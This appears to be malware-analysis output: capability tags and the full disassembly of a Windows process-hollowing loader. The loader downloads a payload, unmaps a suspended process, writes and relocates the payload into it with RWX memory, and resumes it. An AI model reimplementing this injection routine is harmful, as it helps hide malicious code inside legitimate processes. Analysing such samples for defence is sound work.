Function at 0x401778
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x3e0
call dbg.__main
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0x1c], str.TGCxJBTE
movdqu xmm0, xmmword [0x423240]
movups xmmword [ebp - 0x7b], xmm0
movdqu xmm0, xmmword [0x423250]
movups xmmword [ebp - 0x6c], xmm0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1f
lea eax, [ebp - 0x7b]
mov dword [esp], eax
call sym.rjBHbLqP_char__unsigned_int__char_const__unsigned_int_
lea eax, [ebp - 0x7b]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], str.Decrypted_host_process_path:__s_n
call sym.printf_char_const__..._
call sym.pUtffDmo__
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x40182b
mov dword [esp], str.Error_downloading_payload._n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
pxor xmm0, xmm0
movups xmmword [ebp - 0xc0], xmm0
movups xmmword [ebp - 0xb0], xmm0
movups xmmword [ebp - 0xa0], xmm0
movups xmmword [ebp - 0x90], xmm0
movd dword [ebp - 0x80], xmm0
lea eax, [ebp - 0xd0]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0xc0]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x4018cb
mov dword [esp], str.Error_creating_process_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
mov dword [ebp - 0x39c], 0x10007
mov eax, dword [ebp - 0xcc]
lea edx, [ebp - 0x39c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadContext]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401911
mov dword [esp], str.Error_getting_context_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
mov eax, dword [ebp - 0x2f8]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x3a0]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x3a0]
mov dword [esp + 4], eax
mov dword [esp], str.Base_address_in_the_suspended_process:_0x_p_n
call sym.printf_char_const__..._
mov dword [esp], str.ntdll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
mov dword [esp + 4], str.NtUnmapViewOfSection
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3a0]
mov edx, dword [ebp - 0xd0]
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x4019d2
mov dword [esp], str.Error_unmapping_section_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0xd0]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x401a3e
mov dword [esp], str.Error_allocating_memory_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
mov eax, dword [ebp - 0x3a0]
mov edx, eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x34]
sub edx, eax
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x3a0]
mov edx, eax
mov eax, dword [ebp - 0x38]
mov dword [eax + 0x34], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0xd0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0x24]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401ab4
mov dword [esp], str.Failed_to_write_headers_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
mov dword [ebp - 0xc], 0
jmp 0x401b4c
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
lea edx, [eax + 0xf8]
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x24]
lea ebx, [ecx + eax]
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x3c]
add ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401b48
mov dword [esp], str.Error_writing_section._n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x38]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0xc], eax
jl 0x401ac0
cmp dword [ebp - 0x40], 0
je 0x401d59
mov dword [ebp - 0x10], 0
jmp 0x401d46
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
lea edx, [eax + 0xf8]
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 8], 6
mov dword [esp + 4], str..reloc
mov dword [esp], eax
call sym._memcmp
test eax, eax
jne 0x401d42
mov eax, dword [ebp - 0x44]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
mov edx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x14], 0
jmp 0x401d33
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x4c], eax
add dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x18], 0
jmp 0x401d27
add dword [ebp - 0x14], 2
mov eax, dword [ebp - 0x18]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x54]
add eax, edx
movzx eax, byte [eax + 1]
and eax, 0xfffffff0
test al, al
je 0x401d22
mov eax, dword [ebp - 0x4c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x54]
add eax, ecx
movzx eax, word [eax]
and ax, 0xfff
movzx eax, ax
add eax, edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x3a0]
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x3ac]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
mov edx, dword [ebp - 0x3ac]
mov eax, dword [ebp - 0x40]
add eax, edx
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3a0]
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x3ac]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401d23
mov dword [esp], str.Error_Writing_Entry._n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
nop
add dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x50]
jb 0x401c2b
mov eax, dword [ebp - 0x3a4]
cmp dword [ebp - 0x14], eax
jb 0x401bed
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x38]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x10], eax
jl 0x401b75
mov eax, dword [ebp - 0x38]
lea edx, [eax + 0x34]
mov eax, dword [ebp - 0x2f8]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x38]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x3c]
add eax, edx
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2ec], eax
mov eax, dword [ebp - 0xcc]
lea edx, [ebp - 0x39c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetThreadContext]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401de5
mov dword [esp], str.Error_setting_context_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
mov eax, dword [ebp - 0xcc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
cmp eax, 0xffffffff
sete al
test al, al
je 0x401e15
mov dword [esp], str.Error_resuming_thread_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401e1a
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret